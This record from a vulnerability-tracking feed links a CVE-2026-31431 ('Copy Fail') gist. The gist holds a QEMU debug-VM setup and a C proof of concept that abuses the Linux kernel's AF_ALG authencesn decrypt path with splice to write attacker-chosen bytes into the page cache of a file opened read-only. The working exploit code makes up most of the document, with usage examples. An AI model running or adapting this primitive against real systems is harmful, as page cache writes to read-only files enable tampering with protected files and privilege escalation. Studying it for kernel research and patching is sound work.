{"uuid": "8aba6de0-b27b-464f-9094-38bb8c642086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/a854338363e449bdb002b43ff5080e55", "content": "#!/bin/sh\n# Minimal init for CVE-2026-31431 debugging\n\nmount -t proc proc /proc\nmount -t sysfs sysfs /sys\nmount -t devtmpfs devtmpfs /dev\nmkdir -p /dev/pts\nmount -t devpts devpts /dev/pts\nmount -t tmpfs tmpfs /tmp\n\n# Create a test target file for page cache experiments\necho \"ORIGINAL CONTENT - This is a test file for page cache write verification.\" &gt; /tmp/target.txt\necho \"OFFSET_00 OFFSET_10 OFFSET_20 OFFSET_30 OFFSET_40 OFFSET_50 OFFSET_60\" &gt;&gt; /tmp/target.txt\n\n# Set hostname\nhostname copyfail-debug\n\necho \"\"\necho \"==========================================\"\necho \" CVE-2026-31431 Debug Environment\"\necho \"==========================================\"\necho \"\"\necho \"Available tools:\"\necho \"  /usr/bin/poc_pagecache_write   \"\necho \"\"\necho \"Quick test:\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"  poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"  echo 3 &gt; /proc/sys/vm/drop_caches\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"\"\necho \"Kernel version: $(uname -r)\"\necho \"\"\n\n# Run experiment if script exists\nif [ -f /experiment_3_1.sh ]; then\n    sh /experiment_3_1.sh\nfi\n\nexec /bin/sh\n\n\n/*\n * CVE-2026-31431 \"Copy Fail\" \u2014 Minimal Page Cache Write PoC (C version)\n *\n * Demonstrates the page cache write primitive without full exploitation.\n * Writes a controlled 4-byte value to a target file's page cache.\n *\n * Usage: ./poc_pagecache_write   \n * Example: ./poc_pagecache_write /tmp/testfile 0 0xDEADBEEF\n *\n * For academic research only.\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifndef AF_ALG\n#define AF_ALG 38\n#endif\n#ifndef SOL_ALG\n#define SOL_ALG 279\n#endif\n#ifndef ALG_SET_KEY\n#define ALG_SET_KEY 1\n#endif\n#ifndef ALG_SET_IV\n#define ALG_SET_IV 2\n#endif\n#ifndef ALG_SET_OP\n#define ALG_SET_OP 3\n#endif\n#ifndef ALG_SET_AEAD_ASSOCLEN\n#define ALG_SET_AEAD_ASSOCLEN 4\n#endif\n#ifndef ALG_SET_AEAD_AUTHSIZE\n#define ALG_SET_AEAD_AUTHSIZE 5\n#endif\n\n#define AUTHSIZE  4\n#define ASSOCLEN  8\n#define AES_KEYLEN 16\n#define HMAC_KEYLEN 16\n#define IV_SIZE 16\n\nstruct authenc_key {\n    uint16_t rta_len;\n    uint16_t rta_type;\n    uint32_t enckeylen_be;\n    uint8_t  authkey[HMAC_KEYLEN];\n    uint8_t  enckey[AES_KEYLEN];\n} __attribute__((packed));\n\nstatic int page_cache_write_4bytes(int target_fd, unsigned int file_offset,\n                                   uint32_t value)\n{\n    int alg_fd, req_fd;\n    int pipefd[2];\n    struct sockaddr_alg sa;\n    struct authenc_key key;\n    int ret = -1;\n\n    memset(&amp;sa, 0, sizeof(sa));\n    sa.salg_family = AF_ALG;\n    strcpy((char *)sa.salg_type, \"aead\");\n    strcpy((char *)sa.salg_name, \"authencesn(hmac(sha256),cbc(aes))\");\n\n    alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);\n    if (alg_fd &lt; 0) {\n        perror(\"socket(AF_ALG)\");\n        return -1;\n    }\n\n    if (bind(alg_fd, (struct sockaddr *)&amp;sa, sizeof(sa)) &lt; 0) {\n        perror(\"bind\");\n        goto out_alg;\n    }\n\n    memset(&amp;key, 0, sizeof(key));\n    key.rta_len = 8;\n    key.rta_type = 1;\n    key.enckeylen_be = htonl(AES_KEYLEN);\n\n    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, &amp;key, sizeof(key)) &lt; 0) {\n        perror(\"setsockopt(ALG_SET_KEY)\");\n        goto out_alg;\n    }\n\n    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, AUTHSIZE) &lt; 0) {\n        perror(\"setsockopt(ALG_SET_AEAD_AUTHSIZE)\");\n        goto out_alg;\n    }\n\n    req_fd = accept(alg_fd, NULL, NULL);\n    if (req_fd &lt; 0) {\n        perror(\"accept\");\n        goto out_alg;\n    }\n\n    /* sendmsg: AAD = \"AAAA\" + value (8 bytes total) */\n    {\n        uint8_t aad[ASSOCLEN];\n        memset(aad, 'A', 4);\n        memcpy(aad + 4, &amp;value, 4);\n\n        uint32_t op = 0; /* ALG_OP_DECRYPT */\n        uint32_t assoclen = ASSOCLEN;\n        uint8_t iv_buf[sizeof(uint32_t) + IV_SIZE];\n        memset(iv_buf, 0, sizeof(iv_buf));\n        *(uint32_t *)iv_buf = IV_SIZE;\n\n        struct iovec iov = { .iov_base = aad, .iov_len = ASSOCLEN };\n\n        uint8_t cbuf[CMSG_SPACE(sizeof(op)) +\n                     CMSG_SPACE(sizeof(iv_buf)) +\n                     CMSG_SPACE(sizeof(assoclen))];\n        memset(cbuf, 0, sizeof(cbuf));\n\n        struct msghdr msg = {\n            .msg_iov = &amp;iov,\n            .msg_iovlen = 1,\n            .msg_control = cbuf,\n            .msg_controllen = sizeof(cbuf),\n        };\n\n        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&amp;msg);\n        cmsg-&gt;cmsg_level = SOL_ALG;\n        cmsg-&gt;cmsg_type = ALG_SET_OP;\n        cmsg-&gt;cmsg_len = CMSG_LEN(sizeof(op));\n        memcpy(CMSG_DATA(cmsg), &amp;op, sizeof(op));\n\n        cmsg = CMSG_NXTHDR(&amp;msg, cmsg);\n        cmsg-&gt;cmsg_level = SOL_ALG;\n        cmsg-&gt;cmsg_type = ALG_SET_IV;\n        cmsg-&gt;cmsg_len = CMSG_LEN(sizeof(iv_buf));\n        memcpy(CMSG_DATA(cmsg), iv_buf, sizeof(iv_buf));\n\n        cmsg = CMSG_NXTHDR(&amp;msg, cmsg);\n        cmsg-&gt;cmsg_level = SOL_ALG;\n        cmsg-&gt;cmsg_type = ALG_SET_AEAD_ASSOCLEN;\n        cmsg-&gt;cmsg_len = CMSG_LEN(sizeof(assoclen));\n        memcpy(CMSG_DATA(cmsg), &amp;assoclen, sizeof(assoclen));\n\n        if (sendmsg(req_fd, &amp;msg, MSG_MORE) &lt; 0) {\n            perror(\"sendmsg\");\n            goto out_req;\n        }\n    }\n\n    /* splice: file[0 : file_offset + AUTHSIZE] into AF_ALG socket */\n    {\n        size_t splice_len = file_offset + AUTHSIZE;\n\n        if (pipe(pipefd) &lt; 0) {\n            perror(\"pipe\");\n            goto out_req;\n        }\n\n        loff_t off_in = 0;\n        ssize_t n = splice(target_fd, &amp;off_in, pipefd[1], NULL,\n                           splice_len, SPLICE_F_MOVE);\n        if (n &lt; 0 || (size_t)n != splice_len) {\n            perror(\"splice(file\u2192pipe)\");\n            goto out_pipe;\n        }\n\n        n = splice(pipefd[0], NULL, req_fd, NULL,\n                   splice_len, SPLICE_F_MOVE);\n        if (n &lt; 0 || (size_t)n != splice_len) {\n            perror(\"splice(pipe\u2192socket)\");\n            goto out_pipe;\n        }\n    }\n\n    /* recv: triggers authencesn decrypt \u2192 page cache write happens here */\n    {\n        size_t recv_len = ASSOCLEN + file_offset;\n        uint8_t *buf = malloc(recv_len ? recv_len : 1);\n        if (!buf) goto out_pipe;\n\n        ssize_t n = recv(req_fd, buf, recv_len, 0);\n        /* Expected: n &lt; 0, errno = EBADMSG (HMAC verification fails) */\n        /* But the 4-byte page cache write has already occurred! */\n        if (n &lt; 0 &amp;&amp; errno != EBADMSG)\n            fprintf(stderr, \"recv: unexpected error %d (%s)\\n\",\n                    errno, strerror(errno));\n        free(buf);\n    }\n\n    ret = 0;\n\nout_pipe:\n    close(pipefd[0]);\n    close(pipefd[1]);\nout_req:\n    close(req_fd);\nout_alg:\n    close(alg_fd);\n    return ret;\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc != 4) {\n        fprintf(stderr, \"Usage: %s   \\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /tmp/testfile 0 0xDEADBEEF\\n\", argv[0]);\n        return 1;\n    }\n\n    const char *target_path = argv[1];\n    unsigned int offset = strtoul(argv[2], NULL, 0);\n    uint32_t value = strtoul(argv[3], NULL, 0);\n\n    printf(\"[*] Target: %s\\n\", target_path);\n    printf(\"[*] Offset: %u (0x%x)\\n\", offset, offset);\n    printf(\"[*] Value:  0x%08x\\n\", value);\n\n    int fd = open(target_path, O_RDONLY);\n    if (fd &lt; 0) {\n        perror(\"open target\");\n        return 1;\n    }\n\n    printf(\"[*] Writing 4 bytes to page cache...\\n\");\n    if (page_cache_write_4bytes(fd, offset, value) &lt; 0) {\n        fprintf(stderr, \"[-] Page cache write failed\\n\");\n        close(fd);\n        return 1;\n    }\n\n    printf(\"[+] Done. Page cache of %s at offset %u should now contain 0x%08x\\n\",\n           target_path, offset, value);\n    printf(\"[*] Verify: hexdump -C -s %u -n 4 %s\\n\", offset, target_path);\n\n    close(fd);\n    return 0;\n}\n\n\n#!/bin/bash\n# Launch QEMU for CVE-2026-31431 debugging\n#\n# Usage:\n#   ./run_qemu.sh          # Normal boot\n#   ./run_qemu.sh debug    # Boot paused, waiting for GDB on :1234\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" &amp;&amp; pwd)\"\nBZIMAGE=\"${SCRIPT_DIR}/bzImage\"\nROOTFS=\"${SCRIPT_DIR}/rootfs.cpio.gz\"\n\nif [ ! -f \"$BZIMAGE\" ] || [ ! -f \"$ROOTFS\" ]; then\n    echo \"Error: bzImage or rootfs.cpio.gz not found in ${SCRIPT_DIR}\"\n    echo \"Run the Docker build first: ./build_docker.sh\"\n    exit 1\nfi\n\nEXTRA_ARGS=\"\"\nif [ \"$1\" = \"debug\" ]; then\n    EXTRA_ARGS=\"-s -S\"\n    echo \"=== Debug mode: QEMU paused, waiting for GDB on localhost:1234 ===\"\n    echo \"  In another terminal: gdb ./vmlinux -ex 'target remote :1234'\"\nfi\n\nexec qemu-system-x86_64 \\\n    -kernel \"$BZIMAGE\" \\\n    -initrd \"$ROOTFS\" \\\n    -append \"console=ttyS0 nokaslr\" \\\n    -nographic \\\n    -m 512M \\\n    -smp 1 \\\n    ${EXTRA_ARGS}\n", "creation_timestamp": "2026-05-08T04:30:19.000000Z"}